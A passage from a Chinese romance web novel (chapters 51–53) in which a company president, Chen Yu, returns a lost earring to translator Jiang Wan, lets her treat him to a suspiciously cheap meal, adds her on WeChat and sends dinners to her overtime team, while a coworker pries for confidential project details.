哪知,陈屿听完这些,却突然不说话了。 “陈总?”姜挽尝试着重新拉回话题,“您还没回答我刚才的问题,所以您现在是已经离开了吗?要是还没离开的话,我想下去……” “我已经离开了,”陈屿打断她,盯着手中的那只耳钉,眉头拧起来,“而且你说的什么耳钉我也没看到,能随手弄丢的东西,应该也不是什么贵重的物品。” 姜挽下意识地想反驳,可又觉得没必要,也没立场。要反驳他什么呢?反驳他对贵重物品的定义?还是反驳他究竟有没有帮她找? 可弄丢东西确实是她的问题,而他也确实没有义务帮她找。 “好的,我知道了,不好意思打扰您了,那我再去其他地方找找。” 一听她还要找,陈屿更生气了,瞬间便切断了电话。可挂了电话后,他的情绪也没缓解多少。 珍珠耳钉,很重要的人送的,而且她还这么着急地找,种种迹象表明,这个送给她耳钉的人,和她的关系绝对不简单! 甚至很有可能就是她的…… 陈屿甚至不愿意去想那三个字。 一气之下,他打算立马离开这个地方,在这里多一秒都待不下去。可刚将车子启动,却发现仪表盘上却显示了“E”,车没油了,估计是因为那会儿他故意绕路的原因。 陈屿边搜索最近的加油站,边在心里暗自骂自己,觉得他这一晚上真是自找的,简直和滴滴司机差不多。 不对,他还不如滴滴司机呢,人家司机是挣钱,他不仅倒贴钱,还生气! 回去的一路,雨很大,路也很堵,陈屿到家的时候已经临近夜里十一点了。下车之前,他又看了一眼那只耳钉,虽然心里很不情愿,可担心姜挽找不到这东西会着急,还是给她发了一条短信过去:【东西找到了,明天拿给你。】 短信发完,不到一秒便收到了她的回复:【太好了,真是太感谢您了!那我明天去公司找您拿。】 陈屿原本还担心这个点给她发短信会打扰到她休息,可看她这个回复速度,应该是压根就没睡,指不定丢了这个玩意儿有多伤心,正难受得睡不着觉呢。 夜那么黑,也盖不住他眼中的不高兴:【白天我很忙,没时间处理这些,下班会联系你。】 【好的,那我等您消息。】 次日,一整天的时间,姜挽都没收到陈屿的任何电话和短信,她也没敢问,就那么等着。终于在临近下班的时候,手机里姗姗来迟地进来了一条短信,是陈屿发的。 【晚上七点,地下车库。】 这时间和姜挽原本的计划差不多,正常她下午六点下班,再加会儿班,时间也差不多就七点了。所以她回复得很快:【好的,没问题。】 晚上七点,姜挽准时下楼,到地下车库的时候陈屿还没到,等了一会儿他才出现,她忙上前:【谢谢您。】 她是按照短信时间到的,可看在陈屿的眼里就不是那么回事了,只会觉得这玩意儿对她很重要,她迫不及待地想要把这玩意儿拿回去,而且还因为马上就要拿到了,脸上全是掩饰不住的高兴。 他淡瞥她一眼,语气有些冷:“有必要这么高兴吗?” “嗯?”姜挽有点尴尬,她能感觉到他不高兴,但一时又猜不到是因为什么。思来想去只有一条,那就是这件事太麻烦了他了。毕竟人家这么一个日理万机的大领导,帮她找东西,还特意送过来,抱怨两句也正常。 其他的话姜挽也不敢说太多,只想赶紧拿了东西,别再耽误他:“陈总,那个……耳钉呢?” 陈屿看着她,冷漠地从口袋里掏出一个白色的小盒,又冷漠地递给她:“说了给你,还能少了你的吗?” “这是?”姜挽有点不敢接,怎么还有个盒子? 陈屿见她盯着那个盒子,再次冷漠地解释:“里面就是耳钉。盒子是随手从家里拿的,你那耳钉那么尖锐,不得找个东西装着。” “也是,还是您想的周到。” 陈屿没接这话,只淡淡地看着她。 姜挽被他看得有点不自在,想着已经拿到了东西,就没必要再继续耽误人家:“您看还有其他的事吗,要是没有的话,我就不耽误您的时间了。” “你很着急?”陈屿轻嗤一声,“帮你找到这么重要的东西,你难道不应该感谢我一下吗?” “应该,当然应该了。”姜挽不是没想过这事,只是按如今他们两人之间的差距,她不敢提而已。怕提出来,也不过是被当成笑话罢了。 “我一时也想不到该如何感谢您,要不这样,您直接提,只要您开口,我一定尽力满足。” 陈屿一眼瞥见她涨红的脸颊和捏着背带的指尖,漫不经心地开口:“你不用这么紧张,我对你没什么兴趣,也不会提出什么过分的要求。” 姜挽觉得赧:“我没这样想。” 陈屿没再跟她绕圈子:“按照惯例,感谢别人总是要请客吃饭的,你就请我吃一顿饭吧,这个要求不难吧?” 姜挽没想到这么简单,当场承诺:“当然不难。” “你先别急着答应。”陈屿给她泼冷水,“等我说完再答应也不迟。” 姜挽果然不说话了,抬起下巴,十分乖巧地看着他,这么多年了,陈屿还是第一次看到她这种表情。 琥珀色的瞳仁亮晶晶的,似被松脂包裹,还有那挺秀的鼻梁和微张的嘴唇,他赶紧别开视线。 “时间,地点,都由我来定。”陈屿故意放慢语速,好以此来平息自己内心的躁动。 考虑到他的消费水平,姜挽愣了一下,没立马答应。 “怎么?这就犹豫了?看来你这感谢的心也没多诚啊。” 姜挽咬咬牙,打算豁出去了:“您接着说。” “时间定在这周六。” “具体几点呢?您能说得再准确点吗?”她周六原本和尤伽约好了要见面的,所以想问清楚,好能提起错开时间。 陈屿却显得没什么耐心:“怎么,你不方便?有其他约会?” “没有。”姜挽赶紧开口。 “那不就行了,”陈屿的脸色这才缓和几分,“时间我现在定不了,到时候得看我当天的计划,地点的话,到时候我再通知你。” 姜挽没有其他的选择:“好,那我等您通知。” 陈屿的短信总是来的那么准时准点,周五晚上临睡前,一分不多,一分不少,姜挽手机里收进来他的消息:【明天上午十点,我去接你。】 时间没问题,他上次那样说之后,姜挽就已经提前和尤伽解释了,只不过她没提陈屿,用的是工作的原因。尤伽很是理解她,让她先忙,她们可以下次再约。 只是过来接她这件事,就没必要了吧。 知道他一贯不喜欢被拒绝,姜挽只得旁敲侧击地开口:【吃饭的地方离地铁近吗,要是近的话,我坐地铁过去也很方便的。】 陈屿像是知道她的想法,一句话就把她打回来了:【不近,而且那里只对VIP开放。】 言下之意,没有他,她根本进不去。 听起来像是很高级的地方,姜挽自以为委婉地开始试探:【饭店叫什么名字?在网上能查到他家的信息吗?要是提前点菜的话,会不会有更多的选择呢?】 陈屿一秒看透她的想法:【你是想问这家店贵不贵吧?】 被拆穿了,姜挽索性也就不再绕弯子:【那您觉得贵吗?】 【还行,以佳译给你开的工资,应该是能吃得起的。】 …… 姜挽突然无比后悔上次在他面前说的这句话,这两个能相提并论吗,一个是一个月,另一个可是一顿啊。 可事已至此,她也只能硬着头皮上了:【好的,那明天见。】 这句话,陈屿当然是不会回复的。 50-60 第51章 微信 第二天一早, 姜挽一睁眼就已经九点半了,距离十点只剩半个小时,她当即马不停蹄地开始收拾。 其实她昨晚是定了闹钟的,只是因为睡前太忧虑付钱的事, 导致很长时间都没睡着。后来好不容易有点迷糊了, 脑子里翻来覆去又都是这点事, 所以才导致她今早没听到闹钟, 醒来就是这个点了。 哎, 没办法, 这点钱对陈屿那种资本家而言可能没什么,可于她这种打工人而言,意义就完全不一样了。是房租, 是生活费, 是保障她们基本生活必不可少的东西。 坐在镜子前, 姜挽差点被自己的黑眼圈吓到, 此时她眼睛下面的那两个大黑眼圈,浓重得已经不能用“熊猫”来形容了, 简直就是打肿的熊猫。 一层粉, 两层粉,三层粉, 还是遮不掉!眼看着时间马上就到十点, 姜挽索性不管了。 不用想,陈屿肯定是不喜欢迟到的, 她也来不及做其他更多的收拾了, 将头发扎起来,随意挑了一套运动装便直接出门了。 到楼下的时候,刚好十点。 陈屿的车还停在上次那个位置, 姜挽走过去,驾驶座的车窗降下来,一张帅得近乎不真实的脸瞬间出现在她的视线里。 不止脸,陈屿还穿着西装,甚至还有头发和领带,一看也都是经过仔细打扮的。和他一比,姜挽自己都觉得不好意思,她的精神面貌和穿着打扮,简直就像是跟在后面给他提包的,根本不像是一起出去吃饭的人,更别说还是她请客了。 当然,陈屿也没有放过这个挖苦她的机会,第一眼,他先扫到她的黑眼圈:“怎么,因为担心今天这顿饭,一晚上都没睡着觉?” 被他猜对了,但姜挽当然不会承认:“不是,是因为昨天晚上加班做翻译,所以睡得晚了点。” “哦?是吗?” 第二眼,他瞥见她今天的这身穿搭,淡色系的运动套装,老实讲,穿在她身上很漂亮。身姿挺拔,腿长腰细,再加上白到发光的皮肤,即便是不化妆,看起来也有一股清水出芙蓉的清纯和恬淡。 可他嘴上当然不会这么说,故意皱眉:“那你这身衣服又是怎么回事?故意穿成这样?恶心我?好让我一气之下就不去了,你刚好也可以省下这顿饭钱?” 姜挽在心里忍不住翻了个白眼,虽然这身衣服是随便了点,可也没有到“恶心他”的地步吧。 “那我再回去换一套?” “算了吧,反正穿什么也都差不多。” 陈屿升起车窗,明显不想再搭理她了。 姜挽在原地轻呼一口气,这才绕到副驾驶,开门上车。 到了地方,姜挽才知道,陈屿果然没骗她。吃饭的地方在城外,别说地铁了,开过来的一路他们连一辆公交车都没见到。不过环境倒是很好,看起来像是一座私人庄园。 还是西餐,不过和之前的略有不同。伊比利亚火腿,雪莉酒,还有海鲜饭,这顿看起来,更像是带着浓浓地中海风情的西班牙风味。 这些姜挽当然不懂,是旁边的外国服务员小姐姐介绍的,而且她很专业,除了这些,还将原材料的制作和选材也详细和他们做了介绍。 什么这种火腿的制作时间一般为2—3年,一定得是西班牙伊比利亚的纯种黑猪,吃橡果长大,腌制后再用两年的时间来进行自然风干。还有喝起来能感觉到西班牙阳光的雪莉酒,以及吃一口就仿佛置身于地中海海边的西班牙绯红虾…… 虽然她介绍得天花乱坠,可此时听在姜挽的耳朵里就只有一个字,那就是“钱”! 这个很贵,那个也很贵,还有那个更贵! 她甚至有点埋怨陈屿,为什么没问她的意见,就擅自点了这么多贵的东西。 “你这么看着我干嘛?不是你说要请我吃饭的吗?怎么着,嫌贵了?” 姜挽这才意识到,自己刚才的情绪有些过分外露了,可因为实在是心痛,她也提不起精神来应付他。 陈屿继续揶揄道:“这才刚开始,你就这副表情,很不好看啊。” 姜挽依旧没搭腔。 见此,陈屿没再继续开口,而是直接叉了一片火腿送进嘴里,可没吃两口,他却皱眉,继而放下叉子,给了他今天的第一句评价:“不够鲜。” 听他这么说,姜挽心念一动,顿时有了想法:“那可以退吗?” “你觉得呢?”陈屿慢条斯理地拿起旁边的餐巾布擦拭嘴角,“你以为这里是你平时吃的人均几十块的路边摊呢?” 也对。 “那怎么办?” “不是还有你吗?你尝尝看。” 姜挽本来不想吃的,她原本的计划就是只请他吃。可现在陈屿不喜欢,她也不吃的话,就意味着这些东西就会被白白浪费掉。 来都来了,钱也会出,不吃白不吃。 她学着陈屿的样子,也叉了一片火腿送进嘴里,很意外,入口即化,唇齿生香,除了肉质本身的鲜香外,隐隐约约还有一个森林和橡果的自然之味。 和陈屿刚才的评价完全不一样! “您的要求是不是有点太高了?” “有没有可能,是你的要求太低了?” 话虽这样说,可陈屿还是把那杯雪莉酒推到她面前:“搭配酒一起试试。” 浓郁的肉香,碰上干涩的陈年,橡果,柑橘,还有海盐和杏仁的回甘,姜挽不得不承认,有些东西贵,就是有它贵的道理。 一口气,她连吃了好几片。接下来是海鲜,每一道,也都有它自己独特的韵味。 最后,一顿饭,大部分都是由姜挽解决的,陈屿只是偶尔挑着尝了几口。 吃罢,姜挽拿桌上的餐巾布擦拭嘴角,很不好意思:“您都没怎么吃。” 陈屿还是那副冷淡的样子:“我不习惯中午吃太多。” 姜挽已经习惯了:“哦。” 今天本来就是她请客的,现在东西又基本全被她吃完了,姜挽就更没有推脱的理由了,她站起身,打算去结账,陈屿也完全没拦她,还顺便帮她指了一下前台的位置。 过去的一路,姜挽都在暗暗给自己做心理建设。没关系的,毕业这么多年了,她还是第一次来这么高级的地方吃饭,就当奖励自己一个见世面的机会了。况且,这里的味道确实不错,她还顺便还了陈屿一个人情…… “姜小姐,您一共消费535元。” 自我安慰的思绪戛然而止,姜挽简直不敢相信:“多少?” 她知道这顿饭不会便宜,几千,甚至上万的金额都在她脑海里出现过,却唯独没想到竟然会是这个数? “535。”工作人员挂着甜甜的笑容又重复了一遍。 “是人民币吗?” “当然。” 姜挽还是不相信:“您确定没算错吗?” “不会错的,这些都是系统自动带出来的价格。” 姜挽没话了。 “请问您怎么支付?” “支付宝可以吗?”这点钱,甚至都没有必要用她专门带过来的那张银行卡。 “当然可以。” 拿到账单,姜挽还特意又加了一遍,金额没错,确认是535元,只不过她还是觉得有些不大敢相信。 回到座位,她把账单递给陈屿看,还有点没从刚才的惊讶中反应过来:“这里的价格,未免也太便宜了吧。” 陈屿接过,只匆匆扫了一眼,像是早知道似的,并没像姜挽那般惊讶:“你以为会有多少?” “两千?三千?再不济,也该有一千吧,”姜挽抬头环顾一圈四周,轻声说,“反正不会是五百,单单这个环境就不止了。” 陈屿没接她这话,而是反问:“这样不好吗,不是刚好可以满足你的心理预期?” “话是没错,可我还是觉得有点不敢相信。” “行了,可能今天是他们店的打折日吧,”陈屿貌似并不想在这个话题上讨论太多,“你要是钱多的话,可以再去找他们店长问问,看看是不是真的算错了,要是真算错了,你可以把钱再补给他们。” “那还是算了,我钱不多,”姜挽当然不会这么做,“况且你刚才不是也说了,没准今天就是他们店的打折日呢,我们只是恰巧赶上了而已。” 陈屿淡淡看她一眼,似乎对她这前后转变的态度有些不大满意,却也没再多说什么。 从这里离开后,陈屿送她回家。 车子一路往南,还是那条路,不同的是,这次他没再问姜挽路线。 姜挽也没想到,那样的雨夜,那样曲折的小路,他竟然一次就记下了,看来他在识路这方面,确实是有异于常人的能力。 临下车前,陈屿突然拿出手机,翻出了自己的微信二维码。 “这是?”阳光正好,晃得姜挽有些睁不开眼,她拿手挡了挡。 “二维码,你不认识?” 二维码她当然认识了,姜挽只是不明白他这个举动的意思。 “所以,您是让我扫码加您?” “不然呢?我让你扫码付款吗?” “可是……”他们好像也没什么必要的联系需要加微信。这几次都是因为阴差阳错,一旦后续生活回归正常,想必他们之间应该也就不会再有什么交集了。 陈屿对她这磨磨蹭蹭的态度格外不满,手刚好有点累了,他收回来,开始拿乔:“你一天天的,能不能不要有那么多心理戏?你该不会以为,我加你微信是另有所图吧?” 他轻笑,语气不重,但嘲讽的意味明显:“老实跟你说吧,我是一个在工作上要求非常严格的人,而且,针对工作结果,我有一套自己的审核标准。” 他指尖轻点着方向盘,侧眸看她,“尼斯项目的翻译目前既然是由你负责,那么后续我免不了会经常找你。你要是不想每次有问题我都在邮件里@你的话,最好还是把微信加上。” 话都说到这了,陈屿偏偏还要再加上一句:“当然,加不加都随你,我都无所谓的。” 他都这样说了,姜挽哪里还有拒绝的道理:“加,麻烦您打开二维码,我扫您。” 陈屿这才懒洋洋地又把二维码打开,递给她。 扫描,写备注,发送。 很快,微信就提示双方已经成为了好友。面对面,他们俩谁都没好意思去翻对方的朋友圈。 到这儿,姜挽准备下车了,没想到刚推开车门,陈屿却再次叫住她:“对了,还有一件事我得提醒你,以后在外面,不要再‘陈总陈总’的叫我,也不要再用‘您’来称呼我。” 这是他一贯的风格,说事情总喜欢下命令,从不解释原因,而姜挽又是一个喜欢问清楚的性格:“为什么?” 陈屿眯着眼看她,那表情真像是再难以忍受似的:“我讨厌下班后还讨论工作的事情,你这样叫只会提醒我,精准地踩中了我的所有雷点。” 姜挽觉得他和以前还真是有很多地方都不一样了,她的指尖还搭在门把手上,轻声开口:“那我应该怎么称呼?” “怎么称呼你自己想,但这两个不能再用。” 行吧。 下了车,回去的路上,姜挽忍不住点开了陈屿的微信头像。他的头像很简单,就是一张简单的风景照,甚至因为太过于普通,一时间也辨认不出是哪里。和他头像一样简单的,是他的朋友圈,而且还设置了三天可见,所以只有空白一片。 与此同时,另一边,陈屿此时还坐在车里,也正翻看着她的微信。几乎和他的一模一样,姜挽的头像也很简单,是那种网上随处可见的任意一个女孩的背影,朋友圈也是三天可见。 有风吹来,卷起一阵凉意。 八年了,他们第一次再次加上对方的微信。有些陌生,但也有一股类似的熟悉情绪正在悄悄被唤醒—— 作者有话说:伊比利亚火腿描写:来自百度。 第52章 外卖 周六出门了, 周日姜挽就不大想再出去。窝在家里看了部电影,又做了点翻译,时间很快过去。 次日,又是新的一周。 姜挽正在检查上周的翻译, 突然接到一个会议邀请, 是周海发的, 时间很紧, 就在十五分钟后, 而且还发给了整个尼斯项目的所有人。 他们每周三有例会, 一般重要的事情都会拿到例会上说,突然这么紧急的会议邀请,肯定是项目出了问题。果不其然, 等姜挽带着电脑来到会议室的时候, 大部分人已经在了, 虽说大家都还不知道发生了什么事, 可现场气氛安静,每个人脸上的神色也都很严肃。 人都到齐了, 周海快速做了前因后果的介绍, 大家这才明白过来,原来是项目设计图出了问题。 周海并未指明是谁的问题, 但其实不能辨认, 现场负责设计图的一共6个人,其中只有一个小姑娘红着眼眶。 果然, 周海话音刚落, 她便抽噎着开口:“对不起,是我的问题,画图的时候没有注意到这个参数, 给大家添麻烦了。” “先不说这些,”周海打断她,语气虽严肃,可仔细听却并没有责怪的意思,转而,他把视线转向其他人,“这么着急把大家叫来也是因为这件事,现在设计图出了问题,就代表后续的工作全部都要推翻重做。文件,标准,乃至翻译,都需要重来一遍。但项目的交期又是不可改的,所以,这几天可能要辛苦大家了。” 他话说完,先是一阵沉默,继而在这沉默中突然有人开口:“没问题。” 紧接着,接二连三的,全是这种声音,什么“没问题”,“这有什么的”,“工作哪有不犯错的”,一声接着一声,一句压着一句。 姜挽不是GSC的员工,她没开口,但不自觉也被这种氛围影响着。从左到右,她看着一张张不是那么熟悉可此刻却斗志昂扬的面孔,突然意识到,她待的这个项目组,和她以往参与的那些外派项目似乎不大一样。 因为她没开口,周海特意询问了她的意见:“Annie,因为你不是GSC的员工,所以你要是有异议的话,可以提出来,我会尽力协调。” 姜挽看着他,没犹豫:“我也没问题。” “好,”周海瞬间松了一口气,“既然大家都没问题,那我现在就去和陈总汇报。” 发生了这么大的事情,不可能不和上面汇报。 负责设计图的小姑娘想和他一起,被周海拒绝了:“我去就够了,有结果会通知大家。” 周海到的时候,陈屿刚开完一场会,见他急匆匆进来,还以为发生了什么大事,听他汇报完后觉得也还好。 周海战战兢兢的:“您不生气吗?” 陈屿双腿交叠,身体往后仰靠:“你不是已经带着解决方案来了吗?” 周海还是不大敢相信,在他的印象里,陈屿一贯冷面,且对工作要求极高,况且项目启动前他也再三强调过尼斯项目的重要性。来之前他都想好了,要是需要担责的话,他会承担下来,怎么也没想到会这么顺利。 “那您还有其他的指示吗?” “没有,你的项目你有绝对的调配权利,我只关注最终的结果。” 周海明白了:“那我现在就去办,关于这次的问题,我也会尽快出个分析报告,确保以后不会再发生。” “等一下,”陈屿叫住他,其他的他都可以不在意,但唯一条他不得不额外交代,“姜挽不是GSC的员工,她要是对加班有异议的话……” 陈屿话还没说完,就被周海打断,他是想说她要是不想加班,就不必强求,可周海却误会他对姜挽有意见,忙帮她解释:“您放心,已经问过Annie的意见了,她没有问题,愿意配合我们。” “哦。”陈屿没话说了。 “那我先去办了?” 陈屿摆摆手,表示他没意见。 周海走后,陈屿起身来到落地窗前,总裁办公室楼层很高,隔窗甚至能看到飘动的白云。从他站的这个角度往下俯瞰,万千浮世,繁华人间,整个北城似乎都匍匐在他脚下。 可陈屿却觉得没什么意思。 八年过去了,他好像越来越看不懂她了,总也猜不透她的想法,不能投其所好。 手机里有照片,他打开看了会儿,继而转身回到办公桌前,拨通了内线电话:“帮我做一件事……” 从下午一点到晚上八点,整整七个小时的时间,窗外由一开始的艳阳高照,到暮色四合,再到如今的繁星点点,在大家的努力下,修改版本的基本框架总算是弄出来了,后续就是在框架上增添补充的工作。 周海很高兴,他压根没想到会进展得这么顺利,起身拍了拍手,招呼着大家先把工作停下:“大家辛苦了,今天表现得都很不错,先把手头的工作放一放,看看想吃什么,我请大家吃晚餐。” “真的吗,周经理,这晚餐有预算吗?”有和周海关系近的同事开始调侃。 周海笑着应声:“没有,大家随便点。” “您这样说,那我们可不客气了啊。” “赶紧点,不用和我客气。” 忙碌了一下午,这会儿难得放松,大家的情绪都很随意,三三两两地凑在一起开始商量吃什么。 正当大家热火朝天地讨论时,办公室的门却突然从外面被推开了,来人是宋泽宇,手上提着精致的食盒,身后还跟着十几个服务员打扮的工作人员,每个都和他一样,也都提着食盒。 大家都以为是周海点的餐到了,纷纷开始调侃:“周经理,您这速度够可以的啊,我们这都还在看呢,您点的这么快就到了。” “是啊,竟然还能劳烦宋助理帮忙送过来,不服不行。” 食盒摆上桌,有人从食盒上的图案认出来,这些饭菜都来自北城最出名的那家私人饭店,更是惊呼:“周经理,没想到您还真是深藏不够,这家饭店据说在北城有钱都不一定能订到位置,没想到他家竟然还送外卖,我今天也算是见识到了。” 大家你一言我一语的,周海都快被说迷糊了,但有一点他很清楚:“这些不是我点的,”转而他去和宋泽宇确认,“宋助理,这是?” 宋泽宇笑着和他们打招呼,“这是陈总请大家吃的。” 听到陈屿的名字,姜挽瞬间愣住了,不止她,其他人也都停了下手上的动作,顿时噤了声,没人敢再随便调侃。 一瞬间会议室鸦雀无声,原本热闹的环境瞬间针落可闻。 谁能想到啊,他们不过是日常加班而已,竟然劳动了公司总裁为他们订餐?而且还是这么高级别的? 有人开始小声猜测:“应该和周经理那会儿的汇报有关系,这样看,陈总还真是看重他。” 周海被这阵仗搞的,也有点懵:“宋助理,您没送错吧?” “当然没有,”他招呼大家来吃,“放心吧,就是陈总为大家点的,陈总体恤大家加班辛苦,大家不用客气。” 不愧是高级饭店做出来的东西,食盒揭开的那一瞬间,色、香、味,应有尽有。本来就饿了,被这香味一勾,大家也就没再多可客气。 差不多吃完的时候,陈屿突然出现了,大家都没想到他会出现,忙停下手上的动作,起身准备打招呼。 “不必拘谨,你们该干嘛就干嘛,我就是过来看看。”陈屿却很随意,他捞了最近的一把椅子坐下,话虽是对着大家说的,可眼神却有意无意的总是瞥向姜挽的方向。 注意到她旁边的食盒一动未动,陈屿忍不住皱眉:“这么晚了,大家吃完早点回去休息吧,有什么事明天再说。” 周海也跟着开口:“确实,基本框架都已经弄完了,其他的,明天再弄也来得及。” 领导都发话了,他们自然照做,陆陆续续的有同事吃完饭开始离开,姜挽将刚才修改的翻译点了保存,拿上电脑,也准备离开。 刚起身,陈屿却突然开口:“姜挽,你稍微留一下。” 姜挽一愣,周海也是一愣,他以为陈屿要批评姜挽,毕竟从前几次沟通来看,陈总对这个外派来的翻译貌似并不怎么满意。 周海放下筷子,抢在姜挽前面,和陈屿解释:“陈总,Annie工作一向认真,翻译的质量也很高,有什么问题的话,您和我说就行。”他侧身,找了一个姜挽看不到的角度,压低声音,“有些话您要是直接和她说,我怕她会承受不住。” 陈屿拧眉,不大高兴:“我有说过要批评她吗?” “倒是没有,不过您……” “行了,这里没你的事儿了,你先走吧,只是一些翻译的问题而已。” “那行,那我先走了,”,见此,周海也没再坚持,他起身收东西,路过姜挽时刻意交代,“一会儿要是陈总说了什么,你听着就行。” 姜挽点点头,刚才周海和陈屿的对话,她也听见了一些。老实说,她和周海的猜想差不多,陈屿单独让她留下,八成是批评她的。 这会儿会议室只剩她和陈屿两个人了,姜挽直接开口:“陈总,是关于哪方面的翻译问题?” 陈屿却没答她这话,转而去指她旁边的食盒:“先把饭吃了。” “我还不饿,您直接说就行。” “我都不着急,你着什么急?先把饭吃了,”陈屿再次重复,“这里除了你,其他都是GSC的员工,大家都吃了,就你一个人没吃,传出去,外面会怎么看我?我可不想落一个‘厚此薄彼’的名声。” 姜挽其实觉得他想的有点多了,这件事她不说,其他人应该也不会知道。但对上他的眼睛,又联想到刚才周海离开时交代她的话,还是默默打开了食盒。 刚才其他人吃的时候她忙着保存翻译,隐约中好像听到了几句说饭菜高档的话,但因为没概念,也就没怎么在意,这会儿一打开,才明白为何刚才大家都会赞不绝口了。 食盒都是单人份的,像是花梨木材质,灯光下泛着油润的实木光泽。表面雕花镂空,手柄处有一朵小小的莲花,姜挽拿手轻轻摸了下,有凹凸感,却很细腻。 里面一共分为四层,先是米饭,再来是两层菜,荤素搭配,最后才是汤。还没开动呢,单是看着,她便能感觉到“高档”二字。 但东西太多,她肯定吃不完,姜挽朝陈屿看一眼,原本是想问他吃过没有,要是没吃的话,介不介意一起吃。 可这个犹豫的眼神,看在陈屿眼里就不是那么回事了,他以为她是不喜欢:“不喜欢也得自己解决,这没人能够帮你。” 好吧。 姜挽干脆不问了,那她就尽力吃,吃不完再说。 她吃饭的时候,陈屿也不催,就在旁边看着手机,偶尔会抬头看她两眼。 等到姜挽差不多吃完了,他才从口袋里拿出一个U盘,递给她:“这里面是一些关于建筑类翻译的资料,你好好看看,别到时候翻译不好,埋怨GSC没给你提供帮助。” 姜挽对别的东西不怎么感兴趣,可对这类翻译资料,却是莫名的爱不释手。最困难的时候,她曾经为了买一本英译词典,硬是吃了整整一个星期的馒头,还是一天一个的那种。 刚拿到,她便把U盘直接插在了电脑上,是一份PDF的英语文件,一眼扫下来,她便知这份资料的可贵性。 不论是单词,释义,还是各种实例的参考和对比,姜挽都知道,这绝对不是一朝一夕能够完成的。 她很震惊:“这是……您整理的?” “想什么呢?你觉得可能吗?”陈屿在桌下按了按酸涩的手腕,出口嘲讽道。 “那是……” “之前其他同事留下来的。” 那姜挽也觉得她足够幸运了,这份资料对她的帮助,远比现在看上去的要多得多。 “谢谢您,只不过之前的那位同事,我没办法和她道谢了。” 说这话的时候,她眼底亮晶晶的,似荡着一层水光,陈屿赶紧别开脸:“你别多想,不是因为你的原因,我只不过是不想尼斯这个项目被翻译影响罢了。” “您放心,我一定仔细研究学习。” “你最好是。” 第53章 反思 自从这次后, 往后他们每次加班,都会收到陈屿安排人送来的晚餐,虽说每次的店名不一样,但无一例外, 全都是北城响当当的, 叫的出名号的饭店。 一开始, 大家还挺高兴, 加班有饭吃, 而且还是老板安排的这种高档饭店, 所以,吃饭的时候还经常会插科打诨两句。可几次下来,逐渐有人开始担心了, 俗话说, “无功不受禄”, 他们这不仅“无功”, 而且还犯了大错,老板不仅不责罚, 还天天好吃好喝地招待, 让人很难不担心啊。 毕竟,整个公司, 让陈屿这么上心, 如此对待的项目组,就只有他们这一个了。可偏偏, 他们这个项目组又没有任何出挑的地方。 想来想去, 这其中的逻辑也不通啊。 周海一向不考虑这些,心思都在工作上,可成天被周围人这么念叨, 也难免会被影响。况且,这些人目前都在他的团队里,他就算自己不在乎,也得对他们负责。 找了合适的机会,周海先去问宋泽宇,可这小子嘴很严,什么都问不出来,于是他便直接去了陈屿的办公室。 他知道陈屿的喜好,一向不喜欢拐弯抹角,所以也就没藏着掖着,直接把自己的顾虑和他说了。 陈屿听完后,第一反应不是回答他的问题,而是反问:“你觉得我就那么闲?闲到要和你们去勾心斗角?是GSC的赔偿不能给到位,还是现在招聘市场严重下滑,我要是想让谁走,难道不是一句话的事儿?” 话是没错,可做什么事情总得有个出发点吧,周海还是不理解:“那您每天给大家送这么高档的晚餐,总得有个原因吧?” 原因陈屿当然有,但他不能说。 “所以,我做事情,还需要和你解释原因?”陈屿反将他一军。 “陈总,您别误会,我不是这个意思,”周海吓得不轻,“只是,倘若一直这样的话,项目组的人难免会有些疑惑,时间长了,多少都有点影响大家的工作情绪。” “谁有疑惑?姜挽吗?让她直接来问我。” 周海不明白为什么每次这种事,他的第一反应就是姜挽:“不是Annie,她不爱八卦,这些事情她一般都不怎么关心的。” “哦,”陈屿垂下眼睫,既然不是她,那他就更不必放在心上了,“那你想怎么样?” 冒着顶撞领导的风险,周海还是开口:“不然这晚餐您就别再安排送了,反正要改的部分也完成得差不多了,应该没几天就能赶上正常进度,也加不了几天班了。” “几天?”陈屿和他确认具体时间,让姜挽每天饿着肚子在这里加班,他不同意。 “下周二之前?” 今天周四,那就是说至少还有四天,时间太长,不行。 “两天,”陈屿一锤定音,“明天是deadline,本周之内搞定。” 周海没立即回答,他在脑子里盘算了下当前的进展,又把剩余工作过了一遍,觉得也不是完全不可能:“行,那我们试试。” “不是试试,是必须。” 回到会议室,周海把这个结果和大家说了,虽然时间上是有点赶,可不用再“担惊受怕”了,大家也都还是愿意接受的。所以,自从周海说完这个决定后,大家便当即马不停蹄地投入了工作。 到此,事情算是暂时告一段落,但谣言并没有,尤其是在有心之人的眼里。 陈屿给“尼斯项目组”订饭这事,在公司已经不是什么秘密了。毕竟这个项目从一开始招标就是他亲自参与的,中间的定标到启动环节,他更是时时关注。所以,大家便自动认为,这个项目在陈屿眼中,远远超过了其他的。 要想引起领导的注意,得到领导的重用,第一步,就是要投其所好,关注他所关注的。 方简简是这样想的,她也是这样做的。 这几天她一有机会就缠着姜挽,问她各种关于尼斯项目的事情。 大家都是同事,抬头不见低头见的,加上,在姜挽心里,总还有刚来时方简简帮助她的情分在,所以只要是能说的,不涉及项目机密信息的,她多少都会回应两句。 可谁知,方简简却把这当成了理所当然,变本加厉地开始追问。 周五,姜挽刚到公司,方简简便凑了上来,没说两句,话题便又绕到了尼斯项目上,姜挽是真的有些不想再听了。 今天是deadline,她还有一堆翻译要做,况且听刚才方简简的口气,她问的几个问题,其实已经涉及项目机密了。 姜挽委婉地拒绝她:“我这会儿没时间,得马上去会议室。” “一点儿时间也没有吗?我也就两三个问题而已。”方简简追着她来到茶水间。 姜挽接完咖啡,还是没停留:“抱歉,而且你的这些问题,我也不知道。” 她走得快,所以没注意到身后方简简那凌厉的眼神。 因为今天是deadline,所以大家都很忙。在会议室忙了一整天,结束时已经八点半了,姜挽回到办公室收拾东西,却没想到方简简还在等着她,要知道,她平时可是还没到下班点就已经把东西收拾好了。 见姜挽回来,一句其他的话都没有,方简简张口便问:“现在你总该有时间回答我了吧。” 又累,又困,又饿,姜挽是真的没心思在这会儿回答她,况且她刚才的语气听起来,像是她欠她的。 她试图和方简简解释:“今天忙了一天,我好累,想早点回去休息了。” 方简简也不知道是没听懂,还是故意的,硬是把她正在收拾的东西从手里拿开,一把扔在桌上:“放心,我耽误不了你多长时间的。” 说着,她便一股脑把自己的那些问题全倒了出来,也不管姜挽想不想听,说罢,就一个劲地追问答案。 姜挽耐着性子听完,却发现,除了早上的那几个,她又增加了一些新的,这些已经严重涉及到项目机密,和保密协议相冲突了。 到这一步了,姜挽还是想给双方留一些体面:“抱歉,这些问题我不是很清楚,我平时也就负责一些翻译工作。” 